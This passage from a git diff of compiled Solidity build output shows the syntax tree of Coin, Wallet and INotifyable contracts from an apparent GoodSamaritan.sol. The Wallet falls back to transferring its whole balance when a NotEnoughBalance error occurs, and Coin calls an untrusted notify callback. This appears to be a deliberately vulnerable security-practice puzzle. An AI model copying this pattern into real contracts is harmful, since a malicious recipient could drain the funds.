,"referencedDeclaration":53153,"src":"1190:8:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":53185,"indexExpression":{"expression":{"id":53183,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1199:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53184,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1203:6:87","memberName":"sender","nodeType":"MemberAccess","src":"1199:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1190:20:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"1165:45:87"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":53189,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":53187,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1278:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<=","rightExpression":{"id":53188,"name":"currentBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53181,"src":"1289:14:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1278:25:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":53221,"nodeType":"Block","src":"1547:76:87","statements":[{"errorCall":{"arguments":[{"id":53217,"name":"currentBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53181,"src":"1588:14:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":53218,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1604:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":53216,"name":"InsufficientBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53159,"src":"1568:19:87","typeDescriptions":{"typeIdentifier":"t_function_error_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":53219,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1568:44:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53220,"nodeType":"RevertStatement","src":"1561:51:87"}]},"id":53222,"nodeType":"IfStatement","src":"1274:349:87","trueBody":{"id":53215,"nodeType":"Block","src":"1305:236:87","statements":[{"expression":{"id":53195,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":53190,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53153,"src":"1319:8:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":53193,"indexExpression":{"expression":{"id":53191,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1328:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53192,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1332:6:87","memberName":"sender","nodeType":"MemberAccess","src":"1328:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1319:20:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"-=","rightHandSide":{"id":53194,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1343:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1319:31:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":53196,"nodeType":"ExpressionStatement","src":"1319:31:87"},{"expression":{"id":53201,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":53197,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53153,"src":"1364:8:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":53199,"indexExpression":{"id":53198,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53175,"src":"1373:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1364:15:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"id":53200,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1383:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1364:26:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":53202,"nodeType":"ExpressionStatement","src":"1364:26:87"},{"condition":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":53203,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53175,"src":"1409:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53204,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1415:10:87","memberName":"isContract","nodeType":"MemberAccess","referencedDeclaration":47982,"src":"1409:16:87","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$attached_to$_t_address_$","typeString":"function (address) view returns (bool)"}},"id":53205,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1409:18:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53214,"nodeType":"IfStatement","src":"1405:126:87","trueBody":{"id":53213,"nodeType":"Block","src":"1429:102:87","statements":[{"expression":{"arguments":[{"id":53210,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1508:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":53207,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53175,"src":"1494:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":53206,"name":"INotifyable","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53327,"src":"1482:11:87","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_INotifyable_$53327_$","typeString":"type(contract INotifyable)"}},"id":53208,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1482:18:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_INotifyable_$53327","typeString":"contract INotifyable"}},"id":53209,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1501:6:87","memberName":"notify","nodeType":"MemberAccess","referencedDeclaration":53326,"src":"1482:25:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":53211,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1482:34:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53212,"nodeType":"ExpressionStatement","src":"1482:34:87"}]}}]}}]},"functionSelector":"a9059cbb","implemented":true,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"1105:8:87","parameters":{"id":53178,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53175,"mutability":"mutable","name":"dest_","nameLocation":"1122:5:87","nodeType":"VariableDeclaration","scope":53224,"src":"1114:13:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53174,"name":"address","nodeType":"ElementaryTypeName","src":"1114:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":53177,"mutability":"mutable","name":"amount_","nameLocation":"1137:7:87","nodeType":"VariableDeclaration","scope":53224,"src":"1129:15:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53176,"name":"uint256","nodeType":"ElementaryTypeName","src":"1129:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1113:32:87"},"returnParameters":{"id":53179,"nodeType":"ParameterList","parameters":[],"src":"1155:0:87"},"scope":53225,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Coin","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53225],"name":"Coin","nameLocation":"799:4:87","scope":53328,"usedErrors":[53159],"usedEvents":[]},{"id":53321,"nodeType":"ContractDefinition","src":"1633:868:87","nodes":[{"id":53227,"nodeType":"VariableDeclaration","src":"1695:20:87","nodes":[],"constant":false,"functionSelector":"8da5cb5b","mutability":"mutable","name":"owner","nameLocation":"1710:5:87","scope":53321,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53226,"name":"address","nodeType":"ElementaryTypeName","src":"1695:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":53230,"nodeType":"VariableDeclaration","src":"1722:16:87","nodes":[],"constant":false,"functionSelector":"11df9995","mutability":"mutable","name":"coin","nameLocation":"1734:4:87","scope":53321,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"},"typeName":{"id":53229,"nodeType":"UserDefinedTypeName","pathNode":{"id":53228,"name":"Coin","nameLocations":["1722:4:87"],"nodeType":"IdentifierPath","referencedDeclaration":53225,"src":"1722:4:87"},"referencedDeclaration":53225,"src":"1722:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"visibility":"public"},{"id":53232,"nodeType":"ErrorDefinition","src":"1745:18:87","nodes":[],"errorSelector":"5fc483c5","name":"OnlyOwner","nameLocation":"1751:9:87","parameters":{"id":53231,"nodeType":"ParameterList","parameters":[],"src":"1760:2:87"}},{"id":53234,"nodeType":"ErrorDefinition","src":"1768:25:87","nodes":[],"errorSelector":"ad3a8b9e","name":"NotEnoughBalance","nameLocation":"1774:16:87","parameters":{"id":53233,"nodeType":"ParameterList","parameters":[],"src":"1790:2:87"}},{"id":53247,"nodeType":"ModifierDefinition","src":"1799:116:87","nodes":[],"body":{"id":53246,"nodeType":"Block","src":"1820:95:87","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":53239,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":53236,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1834:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53237,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1838:6:87","memberName":"sender","nodeType":"MemberAccess","src":"1834:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":53238,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53227,"src":"1848:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1834:19:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53244,"nodeType":"IfStatement","src":"1830:68:87","trueBody":{"id":53243,"nodeType":"Block","src":"1855:43:87","statements":[{"errorCall":{"arguments":[],"expression":{"argumentTypes":[],"id":53240,"name":"OnlyOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53232,"src":"1876:9:87","typeDescriptions":{"typeIdentifier":"t_function_error_pure$__$returns$__$","typeString":"function () pure"}},"id":53241,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1876:11:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53242,"nodeType":"RevertStatement","src":"1869:18:87"}]}},{"id":53245,"nodeType":"PlaceholderStatement","src":"1907:1:87"}]},"name":"onlyOwner","nameLocation":"1808:9:87","parameters":{"id":53235,"nodeType":"ParameterList","parameters":[],"src":"1817:2:87"},"virtual":false,"visibility":"internal"},{"id":53256,"nodeType":"FunctionDefinition","src":"1921:49:87","nodes":[],"body":{"id":53255,"nodeType":"Block","src":"1935:35:87","nodes":[],"statements":[{"expression":{"id":53253,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53250,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53227,"src":"1945:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":53251,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1953:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53252,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1957:6:87","memberName":"sender","nodeType":"MemberAccess","src":"1953:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1945:18:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53254,"nodeType":"ExpressionStatement","src":"1945:18:87"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53248,"nodeType":"ParameterList","parameters":[],"src":"1932:2:87"},"returnParameters":{"id":53249,"nodeType":"ParameterList","parameters":[],"src":"1935:0:87"},"scope":53321,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":53286,"nodeType":"FunctionDefinition","src":"1976:273:87","nodes":[],"body":{"id":53285,"nodeType":"Block","src":"2028:221:87","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":53271,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"id":53267,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"2094:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}],"id":53266,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2086:7:87","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53265,"name":"address","nodeType":"ElementaryTypeName","src":"2086:7:87","typeDescriptions":{}}},"id":53268,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2086:13:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":53263,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2072:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53264,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2077:8:87","memberName":"balances","nodeType":"MemberAccess","referencedDeclaration":53153,"src":"2072:13:87","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":53269,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2072:28:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"hexValue":"3130","id":53270,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2103:2:87","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"src":"2072:33:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":53283,"nodeType":"Block","src":"2163:80:87","statements":[{"expression":{"arguments":[{"id":53279,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53258,"src":"2222:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"3130","id":53280,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2229:2:87","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"}],"expression":{"id":53276,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2208:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53278,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2213:8:87","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":53224,"src":"2208:13:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":53281,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2208:24:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53282,"nodeType":"ExpressionStatement","src":"2208:24:87"}]},"id":53284,"nodeType":"IfStatement","src":"2068:175:87","trueBody":{"id":53275,"nodeType":"Block","src":"2107:50:87","statements":[{"errorCall":{"arguments":[],"expression":{"argumentTypes":[],"id":53272,"name":"NotEnoughBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53234,"src":"2128:16:87","typeDescriptions":{"typeIdentifier":"t_function_error_pure$__$returns$__$","typeString":"function () pure"}},"id":53273,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2128:18:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53274,"nodeType":"RevertStatement","src":"2121:25:87"}]}}]},"functionSelector":"f836afce","implemented":true,"kind":"function","modifiers":[{"id":53261,"kind":"modifierInvocation","modifierName":{"id":53260,"name":"onlyOwner","nameLocations":["2018:9:87"],"nodeType":"IdentifierPath","referencedDeclaration":53247,"src":"2018:9:87"},"nodeType":"ModifierInvocation","src":"2018:9:87"}],"name":"donate10","nameLocation":"1985:8:87","parameters":{"id":53259,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53258,"mutability":"mutable","name":"dest_","nameLocation":"2002:5:87","nodeType":"VariableDeclaration","scope":53286,"src":"1994:13:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53257,"name":"address","nodeType":"ElementaryTypeName","src":"1994:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1993:15:87"},"returnParameters":{"id":53262,"nodeType":"ParameterList","parameters":[],"src":"2028:0:87"},"scope":53321,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":53307,"nodeType":"FunctionDefinition","src":"2255:161:87","nodes":[],"body":{"id":53306,"nodeType":"Block","src":"2316:100:87","nodes":[],"statements":[{"expression":{"arguments":[{"id":53296,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53288,"src":"2373:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"arguments":[{"id":53301,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"2402:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}],"id":53300,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2394:7:87","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53299,"name":"address","nodeType":"ElementaryTypeName","src":"2394:7:87","typeDescriptions":{}}},"id":53302,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2394:13:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":53297,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2380:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53298,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2385:8:87","memberName":"balances","nodeType":"MemberAccess","referencedDeclaration":53153,"src":"2380:13:87","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":53303,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2380:28:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":53293,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2359:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53295,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2364:8:87","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":53224,"src":"2359:13:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":53304,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2359:50:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53305,"nodeType":"ExpressionStatement","src":"2359:50:87"}]},"functionSelector":"e40b8658","implemented":true,"kind":"function","modifiers":[{"id":53291,"kind":"modifierInvocation","modifierName":{"id":53290,"name":"onlyOwner","nameLocations":["2306:9:87"],"nodeType":"IdentifierPath","referencedDeclaration":53247,"src":"2306:9:87"},"nodeType":"ModifierInvocation","src":"2306:9:87"}],"name":"transferRemainder","nameLocation":"2264:17:87","parameters":{"id":53289,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53288,"mutability":"mutable","name":"dest_","nameLocation":"2290:5:87","nodeType":"VariableDeclaration","scope":53307,"src":"2282:13:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53287,"name":"address","nodeType":"ElementaryTypeName","src":"2282:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2281:15:87"},"returnParameters":{"id":53292,"nodeType":"ParameterList","parameters":[],"src":"2316:0:87"},"scope":53321,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":53320,"nodeType":"FunctionDefinition","src":"2422:77:87","nodes":[],"body":{"id":53319,"nodeType":"Block","src":"2470:29:87","nodes":[],"statements":[{"expression":{"id":53317,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53315,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2480:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":53316,"name":"coin_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53310,"src":"2487:5:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"src":"2480:12:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53318,"nodeType":"ExpressionStatement","src":"2480:12:87"}]},"functionSelector":"82e46b75","implemented":true,"kind":"function","modifiers":[{"id":53313,"kind":"modifierInvocation","modifierName":{"id":53312,"name":"onlyOwner","nameLocations":["2460:9:87"],"nodeType":"IdentifierPath","referencedDeclaration":53247,"src":"2460:9:87"},"nodeType":"ModifierInvocation","src":"2460:9:87"}],"name":"setCoin","nameLocation":"2431:7:87","parameters":{"id":53311,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53310,"mutability":"mutable","name":"coin_","nameLocation":"2444:5:87","nodeType":"VariableDeclaration","scope":53320,"src":"2439:10:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"},"typeName":{"id":53309,"nodeType":"UserDefinedTypeName","pathNode":{"id":53308,"name":"Coin","nameLocations":["2439:4:87"],"nodeType":"IdentifierPath","referencedDeclaration":53225,"src":"2439:4:87"},"referencedDeclaration":53225,"src":"2439:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"visibility":"internal"}],"src":"2438:12:87"},"returnParameters":{"id":53314,"nodeType":"ParameterList","parameters":[],"src":"2470:0:87"},"scope":53321,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Wallet","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53321],"name":"Wallet","nameLocation":"1642:6:87","scope":53328,"usedErrors":[53232,53234],"usedEvents":[]},{"id":53327,"nodeType":"ContractDefinition","src":"2503:71:87","nodes":[{"id":53326,"nodeType":"FunctionDefinition","src":"2531:41:87","nodes":[],"functionSelector":"98d078b4","implemented":false,"kind":"function","modifiers":[],"name":"notify","nameLocation":"2540:6:87","parameters":{"id":53324,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53323,"mutability":"mutable","name":"amount","nameLocation":"2555:6:87","nodeType":"VariableDeclaration","scope":53326,"src":"2547:14:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53322,"name":"uint256","nodeType":"ElementaryTypeName","src":"2547:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2546:16:87"},"returnParameters":{"id":53325,"nodeType":"ParameterList","parameters":[],"src":"2571:0:87"},"scope":53327,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"INotifyable","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[53327],"name":"INotifyable","nameLocation":"2513:11:87","scope":53328,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":87} \ No newline at end of file diff --git a/contracts/out/GoodSamaritan.sol/INotifyable.json b/contracts/out/GoodSamaritan.sol/INotifyable.json new file mode 100644 index 000000000..b36f16385 --- /dev/null +++ b/contracts/out/GoodSamaritan.sol/INotifyable.json @@ -0,0 +1 @@ 